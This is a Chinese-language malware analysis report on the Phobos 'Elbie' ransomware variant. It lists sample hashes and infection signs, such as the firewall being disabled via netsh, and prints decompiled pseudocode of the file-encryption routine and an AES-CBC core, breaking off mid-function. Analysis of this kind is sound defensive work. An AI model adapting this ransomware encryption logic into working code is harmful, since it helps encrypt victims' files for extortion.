文章总结： 这篇文档详细分析了Phobos勒索软件家族Elbie变种的技术特征，包括其样本信息、感染迹象和加密过程。研究发现该恶意软件使用AES算法在CBC模式下加密文件，会将自身拷贝到系统关键目录，释放勒索信息文件，并关闭系统防火墙。文章提供了风险消减措施、安全设备调优和安全意识增强等安全建议，以帮助企业防范此类勒索软件攻击。
综合评分： 88
文章分类： 恶意软件,漏洞分析,应急响应,威胁情报,安全建设

【病毒分析】phobos家族Elbie变种加密器分析报告

原创

索勒安全团队

solar应急响应团队

2024年3月6日 17:55
山东

1.样本信息

| ⽂件名 | Fast【phobos家族Elbie变种加密器】.exe |
| — | — |
| SHA256 | e18d3d15a27ffa48cef12de79ac566bfbd96f6f4a1477e5986bc4a100227d8a3 |
| MD5 | f1ecac228e48c7b9758dacfca9356b1f |
| SHA1 | d9f32b053310a9400fef4d68ae8a8ce70594eaad |

2.感染迹象

文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[[email protected]].Elbie

防火墙被关闭，利用netsh命令关闭防火墙。

3.加密文件特征

文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[[email protected]].Elbie

被加密的文件的后8 Byte为固定值。

4.文件加密

int&nbsp;__usercall&nbsp;encode@<eax>(const&nbsp;WCHAR&nbsp;*a1@<edi>,&nbsp;int&nbsp;a2,&nbsp;int&nbsp;a3,&nbsp;const&nbsp;WCHAR&nbsp;*lpFileName,&nbsp;char&nbsp;a5)
{
&nbsp;&nbsp;int&nbsp;FileW;&nbsp;//&nbsp;ebx
&nbsp;&nbsp;DWORD&nbsp;FileAttributesW;&nbsp;//&nbsp;eax
&nbsp;&nbsp;int&nbsp;v7;&nbsp;//&nbsp;eax
&nbsp;&nbsp;LARGE_INTEGER&nbsp;FileSize;&nbsp;//&nbsp;[esp+8h]&nbsp;[ebp-20h]&nbsp;BYREF
&nbsp;&nbsp;LARGE_INTEGER&nbsp;v10;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-18h]
&nbsp;&nbsp;DWORD&nbsp;dwFileAttributes;&nbsp;//&nbsp;[esp+1Ch]&nbsp;[ebp-Ch]
&nbsp;&nbsp;DWORD&nbsp;v12;&nbsp;//&nbsp;[esp+20h]&nbsp;[ebp-8h]
&nbsp;&nbsp;int&nbsp;v13;&nbsp;//&nbsp;[esp+24h]&nbsp;[ebp-4h]

&nbsp;&nbsp;v13&nbsp;=&nbsp;0;
&nbsp;&nbsp;FileW&nbsp;=&nbsp;(int)CreateFileW(a1,&nbsp;0x80000000,&nbsp;7u,&nbsp;0,&nbsp;3u,&nbsp;0,&nbsp;0);
&nbsp;&nbsp;if&nbsp;(&nbsp;FileW&nbsp;==&nbsp;-1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;v13;
&nbsp;&nbsp;if&nbsp;(&nbsp;!GetFileSizeEx((HANDLE)FileW,&nbsp;&FileSize)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;LABEL_15;
&nbsp;&nbsp;CloseHandle((HANDLE)FileW);
&nbsp;&nbsp;FileW&nbsp;=&nbsp;-1;
&nbsp;&nbsp;v10&nbsp;=&nbsp;FileSize;
&nbsp;&nbsp;if&nbsp;(&nbsp;FileSize.QuadPart&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;FileAttributesW&nbsp;=&nbsp;GetFileAttributesW(a1);
&nbsp;&nbsp;&nbsp;&nbsp;dwFileAttributes&nbsp;=&nbsp;FileAttributesW;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;FileAttributesW&nbsp;!=&nbsp;-1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12&nbsp;=&nbsp;FileAttributesW&nbsp;&&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(FileAttributesW&nbsp;&&nbsp;1)&nbsp;!=&nbsp;0&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFileAttributesW(a1,&nbsp;FileAttributesW&nbsp;&&nbsp;0xFFFFFFFE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;(a5&nbsp;&&nbsp;1)&nbsp;!=&nbsp;0&nbsp;||&nbsp;v10.QuadPart&nbsp;<&nbsp;0x180000ui64
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;?&nbsp;sub_408782(a3,&nbsp;a1,&nbsp;lpFileName,&nbsp;a5)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;sub_408C42(a3,&nbsp;a1,&nbsp;lpFileName,&nbsp;a5);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;v7;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v12&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v7&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFileAttributesW(lpFileName,&nbsp;dwFileAttributes);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;v13;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetFileAttributesW(a1,&nbsp;dwFileAttributes);
LABEL_15:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;FileW&nbsp;!=&nbsp;-1&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle((HANDLE)FileW);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;return&nbsp;v13;
}

此函数大致逻辑为：

• 函数尝试使用CreateFileW打开文件，并检查操作是否成功。如果不成功，则返回
• 然后使用GetFileSizeEx获取文件大小，若文件为空，则关闭句柄并返回
• 使用GetFileAttributesW检索文件属性，检查文件属性中的只读标志，如果文件是只读的，接下来的代码会使用SetFileAttributesW函数将只读标志清除
• 根据文文件大小是否小于 0x180000，调用sub_408782或sub_408C42函数

此代码通过加密现有文件来创建一个新文件。该函数接受现有文件的文件名、密码和要创建的新文件的文件名称。该函数分块读取现有文件，对每个块进行加密，并将加密的块写入新文件。加密是通过使用密码和文件属性计算哈希值来完成的。哈希值用于对文件数据进行块加密。该函数还将新文件的文件属性设置为与现有文件匹配。

sub_408782函数的关键逻辑如下：

while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
{
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;nNumberOfBytesToWrite&nbsp;<&nbsp;nNumberOfBytesToRead&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwFlagsAndAttributes&nbsp;=&nbsp;16&nbsp;-&nbsp;(nNumberOfBytesToWrite&nbsp;&&nbsp;0xF);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FA9(nNumberOfBytesToWrite&nbsp;+&nbsp;a1[8],&nbsp;0,&nbsp;dwFlagsAndAttributes);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nNumberOfBytesToWrite&nbsp;+=&nbsp;dwFlagsAndAttributes;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_406432(v16,&nbsp;a1[8],&nbsp;a1[8])
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;||&nbsp;!WriteFile(hObject,&nbsp;(LPCVOID)a1[8],&nbsp;nNumberOfBytesToWrite,&nbsp;&NumberOfBytesWritten,&nbsp;0)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;||&nbsp;NumberOfBytesWritten&nbsp;!=&nbsp;nNumberOfBytesToWrite&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;nNumberOfBytesToWrite&nbsp;<&nbsp;nNumberOfBytesToRead&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;v18;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*v7&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v14&nbsp;=&nbsp;v19;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7[1]&nbsp;=&nbsp;2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;(int)v20;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7[2]&nbsp;=&nbsp;-257466862;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v7[6]&nbsp;=&nbsp;32;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FD7(v13,&nbsp;v14,&nbsp;v15);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FD7(v9,&nbsp;a1&nbsp;+&nbsp;1,&nbsp;20);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FD7(v9&nbsp;+&nbsp;20,&nbsp;a2,&nbsp;16);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FD7(v9&nbsp;+&nbsp;40,&nbsp;*a1&nbsp;+&nbsp;32,&nbsp;128);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FD7(v9&nbsp;+&nbsp;172,&nbsp;a1&nbsp;+&nbsp;6,&nbsp;6);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v11&nbsp;=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*((_DWORD&nbsp;*)v9&nbsp;+&nbsp;9)&nbsp;=&nbsp;dwFlagsAndAttributes;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*((_DWORD&nbsp;*)v9&nbsp;+&nbsp;42)&nbsp;=&nbsp;v11&nbsp;+&nbsp;178;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!sub_40669B(v17,&nbsp;*a1,&nbsp;a2)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;sub_406432(v17,&nbsp;a1[8],&nbsp;a1[8])&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_408FA9(v17,&nbsp;0,&nbsp;296);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;WriteFile(hObject,&nbsp;(LPCVOID)a1[8],&nbsp;*((_DWORD&nbsp;*)v9&nbsp;+&nbsp;42),&nbsp;&NumberOfBytesWritten,&nbsp;0)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;NumberOfBytesWritten&nbsp;==&nbsp;*((_DWORD&nbsp;*)v9&nbsp;+&nbsp;42)&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(a5&nbsp;&&nbsp;4)&nbsp;!=&nbsp;0&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub_4086B7(hFile);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;(a5&nbsp;&&nbsp;2)&nbsp;!=&nbsp;0&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FlushFileBuffers(hFile);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FlushFileBuffers(hObject);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v23&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;}
}

其中函数sub_406432为加密函数,a2为密钥，通过函数sub_C6669B生成加密需要使用的数据。

加密完文件内容后会加密文件的基础信息，包括文件名等信息，其中，生成密钥的a2也会被加密放入文件末尾，经过动调调试得到，加密文件内容的v16的值与加密文件信息的v17值并不相同。

在此处下断点：

被加密的数据如下：

0348F020  00 00 00 00 02 00 00 00  12 5E A7 F0 79 6F A5 46  .........^.....F
0348F030  37 80 23 35 7A 83 51 3B  20 00 00 00 9E 3F 4F 64  7.#5z.Q; ....?Od
0348F040  43 00 55 00 41 00 73 00  73 00 69 00 73 00 74 00  C.U.A.s.s.i.s.t.
0348F050  61 00 6E 00 74 00 54 00  61 00 73 00 6B 00 2E 00  a.n.t.T.a.s.k...
0348F060  78 00 6D 00 6C 00 00 00  F8 FC 14 D4 F7 93 92 4A  x.m.l..........J

其中包括当前文件的文件名CUAssistantTask.xml

查看此函数的其余变量可得到文件路径为C:\Program Files\CUAssistant\CUAssistantTask.xml

a1为结构体，包括加密缓冲区与加密需要的信息。

执行结束后删除源文件。

函数sub_408C42的加密流程与函数sub_408782一致，区别是sub_408C42是部分加密。

加密的核心算法如下，分析为aes_crypt_cbc

int&nbsp;__usercall&nbsp;sub_406A04@<eax>(unsigned&nbsp;__int8&nbsp;*a1@<eax>,&nbsp;int&nbsp;a2@<esi>,&nbsp;int&nbsp;*a3)
{
&nbsp;&nbsp;_DWORD&nbsp;*v3;&nbsp;//&nbsp;ecx
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v4;&nbsp;//&nbsp;ebx
&nbsp;&nbsp;_DWORD&nbsp;*v5;&nbsp;//&nbsp;ecx
&nbsp;&nbsp;bool&nbsp;v6;&nbsp;//&nbsp;cc
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v7;&nbsp;//&nbsp;edx
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v8;&nbsp;//&nbsp;edi
&nbsp;&nbsp;int&nbsp;v9;&nbsp;//&nbsp;edx
&nbsp;&nbsp;int&nbsp;v11;&nbsp;//&nbsp;[esp+8h]&nbsp;[ebp-18h]
&nbsp;&nbsp;int&nbsp;v12;&nbsp;//&nbsp;[esp+Ch]&nbsp;[ebp-14h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v13;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-10h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v14;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-10h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v15;&nbsp;//&nbsp;[esp+14h]&nbsp;[ebp-Ch]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v16;&nbsp;//&nbsp;[esp+14h]&nbsp;[ebp-Ch]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v17;&nbsp;//&nbsp;[esp+14h]&nbsp;[ebp-Ch]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v18;&nbsp;//&nbsp;[esp+18h]&nbsp;[ebp-8h]
&nbsp;&nbsp;int&nbsp;v19;&nbsp;//&nbsp;[esp+18h]&nbsp;[ebp-8h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v20;&nbsp;//&nbsp;[esp+1Ch]&nbsp;[ebp-4h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v21;&nbsp;//&nbsp;[esp+28h]&nbsp;[ebp+8h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v22;&nbsp;//&nbsp;[esp+28h]&nbsp;[ebp+8h]

&nbsp;&nbsp;v3&nbsp;=&nbsp;a3[1];
&nbsp;&nbsp;v20&nbsp;=&nbsp;*v3&nbsp;^&nbsp;(*a1&nbsp;|&nbsp;((a1[1]&nbsp;|&nbsp;(*(a1&nbsp;+&nbsp;1)&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v18&nbsp;=&nbsp;v3[1]&nbsp;^&nbsp;(a1[4]&nbsp;|&nbsp;((a1[5]&nbsp;|&nbsp;((a1[6]&nbsp;|&nbsp;(a1[7]&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v4&nbsp;=&nbsp;v3[2]&nbsp;^&nbsp;(a1[8]&nbsp;|&nbsp;((a1[9]&nbsp;|&nbsp;((a1[10]&nbsp;|&nbsp;(a1[11]&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v15&nbsp;=&nbsp;v3[3]&nbsp;^&nbsp;(a1[12]&nbsp;|&nbsp;((a1[13]&nbsp;|&nbsp;((a1[14]&nbsp;|&nbsp;(a1[15]&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8));
&nbsp;&nbsp;v5&nbsp;=&nbsp;v3&nbsp;+&nbsp;4;
&nbsp;&nbsp;v11&nbsp;=&nbsp;(*a3&nbsp;>>&nbsp;1)&nbsp;-&nbsp;1;
&nbsp;&nbsp;v6&nbsp;=&nbsp;v11&nbsp;<=&nbsp;0;
&nbsp;&nbsp;while&nbsp;(&nbsp;!v6&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v21&nbsp;=&nbsp;v5[1]&nbsp;^&nbsp;dword_40D170[v18]&nbsp;^&nbsp;dword_40C570[HIBYTE(v20)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v4)]&nbsp;^&nbsp;dword_40C970[BYTE2(v15)];
&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;v5[2]&nbsp;^&nbsp;dword_40D170[v4]&nbsp;^&nbsp;dword_40C570[HIBYTE(v18)]&nbsp;^&nbsp;dword_40C970[BYTE2(v20)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v15)];
&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;*v5&nbsp;^&nbsp;dword_40D170[v20]&nbsp;^&nbsp;dword_40C570[HIBYTE(v15)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v18)]&nbsp;^&nbsp;dword_40C970[BYTE2(v4)];
&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;v5[3]&nbsp;^&nbsp;dword_40D170[v15]&nbsp;^&nbsp;dword_40C570[HIBYTE(v4)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v20)]&nbsp;^&nbsp;dword_40C970[BYTE2(v18)];
&nbsp;&nbsp;&nbsp;&nbsp;v20&nbsp;=&nbsp;v5[4]&nbsp;^&nbsp;dword_40D170[v7]&nbsp;^&nbsp;dword_40C570[HIBYTE(v16)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v21)]&nbsp;^&nbsp;dword_40C970[BYTE2(v13)];
&nbsp;&nbsp;&nbsp;&nbsp;v18&nbsp;=&nbsp;v5[5]&nbsp;^&nbsp;dword_40D170[v21]&nbsp;^&nbsp;dword_40C570[HIBYTE(v7)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v13)]&nbsp;^&nbsp;dword_40C970[BYTE2(v16)];
&nbsp;&nbsp;&nbsp;&nbsp;v4&nbsp;=&nbsp;v5[6]&nbsp;^&nbsp;dword_40D170[v13]&nbsp;^&nbsp;dword_40C570[HIBYTE(v21)]&nbsp;^&nbsp;dword_40C970[BYTE2(v7)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v16)];
&nbsp;&nbsp;&nbsp;&nbsp;v5&nbsp;+=&nbsp;8;
&nbsp;&nbsp;&nbsp;&nbsp;v6&nbsp;=&nbsp;--v11&nbsp;<=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;*(v5&nbsp;-&nbsp;1)&nbsp;^&nbsp;dword_40D170[v16]&nbsp;^&nbsp;dword_40C570[HIBYTE(v13)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v7)]&nbsp;^&nbsp;dword_40C970[BYTE2(v21)];
&nbsp;&nbsp;}
&nbsp;&nbsp;v22&nbsp;=&nbsp;v5[1]&nbsp;^&nbsp;dword_40D170[v18]&nbsp;^&nbsp;dword_40C570[HIBYTE(v20)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v4)]&nbsp;^&nbsp;dword_40C970[BYTE2(v15)];
&nbsp;&nbsp;v14&nbsp;=&nbsp;v5[2]&nbsp;^&nbsp;dword_40D170[v4]&nbsp;^&nbsp;dword_40C570[HIBYTE(v18)]&nbsp;^&nbsp;dword_40C970[BYTE2(v20)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v15)];
&nbsp;&nbsp;v8&nbsp;=&nbsp;*v5&nbsp;^&nbsp;dword_40D170[v20]&nbsp;^&nbsp;dword_40C570[HIBYTE(v15)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v18)]&nbsp;^&nbsp;dword_40C970[BYTE2(v4)];
&nbsp;&nbsp;v17&nbsp;=&nbsp;v5[3]&nbsp;^&nbsp;dword_40D170[v15]&nbsp;^&nbsp;dword_40C570[HIBYTE(v4)]&nbsp;^&nbsp;dword_40CD70[BYTE1(v20)]&nbsp;^&nbsp;dword_40C970[BYTE2(v18)];
&nbsp;&nbsp;v19&nbsp;=&nbsp;v5[5]&nbsp;^&nbsp;byte_40B448[v22]&nbsp;^&nbsp;((byte_40B448[BYTE1(v14)]&nbsp;^&nbsp;(((byte_40B448[HIBYTE(v8)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;byte_40B448[BYTE2(v17)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;v12&nbsp;=&nbsp;v5[6]&nbsp;^&nbsp;byte_40B448[v14]&nbsp;^&nbsp;((byte_40B448[BYTE1(v17)]&nbsp;^&nbsp;(((byte_40B448[HIBYTE(v22)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;byte_40B448[BYTE2(v8)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;v9&nbsp;=&nbsp;v5[7]&nbsp;^&nbsp;byte_40B448[v17]&nbsp;^&nbsp;((byte_40B448[BYTE1(v8)]&nbsp;^&nbsp;(((byte_40B448[HIBYTE(v14)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;byte_40B448[BYTE2(v22)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;*a2&nbsp;=&nbsp;v5[4]&nbsp;^&nbsp;byte_40B448[v8]&nbsp;^&nbsp;((byte_40B448[BYTE1(v22)]&nbsp;^&nbsp;(((byte_40B448[HIBYTE(v17)]&nbsp;<<&nbsp;8)&nbsp;^&nbsp;byte_40B448[BYTE2(v14)])&nbsp;<<&nbsp;8))&nbsp;<<&nbsp;8);
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;4)&nbsp;=&nbsp;v19;
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;8)&nbsp;=&nbsp;v12;
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;11)&nbsp;=&nbsp;HIBYTE(v12);
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;12)&nbsp;=&nbsp;v9;
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;14)&nbsp;=&nbsp;BYTE2(v9);
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;10)&nbsp;=&nbsp;BYTE2(v12);
&nbsp;&nbsp;*(a2&nbsp;+&nbsp;15)&nbsp;=&nbsp;HIBYTE(v9);
&nbsp;&nbsp;return&nbsp;0;
}
int&nbsp;__usercall&nbsp;sub_406F2A@<eax>(unsigned&nbsp;__int8&nbsp;*a1@<eax>,&nbsp;int&nbsp;a2@<esi>,&nbsp;int&nbsp;*a3)
{
&nbsp;&nbsp;_DWORD&nbsp;*v3;&nbsp;//&nbsp;ecx
&nbsp;&nbsp;int&nbsp;v4;&nbsp;//&nbsp;ebx
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v5;&nbsp;//&nbsp;edx
&nbsp;&nbsp;_DWORD&nbsp;*v6;&nbsp;//&nbsp;ecx
&nbsp;&nbsp;bool&nbsp;v7;&nbsp;//&nbsp;cc
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v8;&nbsp;//&nbsp;edx
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v9;&nbsp;//&nbsp;edi
&nbsp;&nbsp;int&nbsp;v10;&nbsp;//&nbsp;edx
&nbsp;&nbsp;int&nbsp;v11;&nbsp;//&nbsp;ebx
&nbsp;&nbsp;int&nbsp;v13;&nbsp;//&nbsp;[esp+8h]&nbsp;[ebp-18h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v14;&nbsp;//&nbsp;[esp+Ch]&nbsp;[ebp-14h]
&nbsp;&nbsp;int&nbsp;v15;&nbsp;//&nbsp;[esp+Ch]&nbsp;[ebp-14h]
&nbsp;&nbsp;unsigned&nbsp;__int8&nbsp;v16;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-10h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v17;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-10h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v18;&nbsp;//&nbsp;[esp+10h]&nbsp;[ebp-10h]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v19;&nbsp;//&nbsp;[esp+14h]&nbsp;[ebp-Ch]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v20;&nbsp;//&nbsp;[esp+14h]&nbsp;[ebp-Ch]
&nbsp;&nbsp;unsigned&nbsp;int&nbsp;v21;&nbsp;//&nbsp;[esp+18h]&nbsp;[ebp-8h]
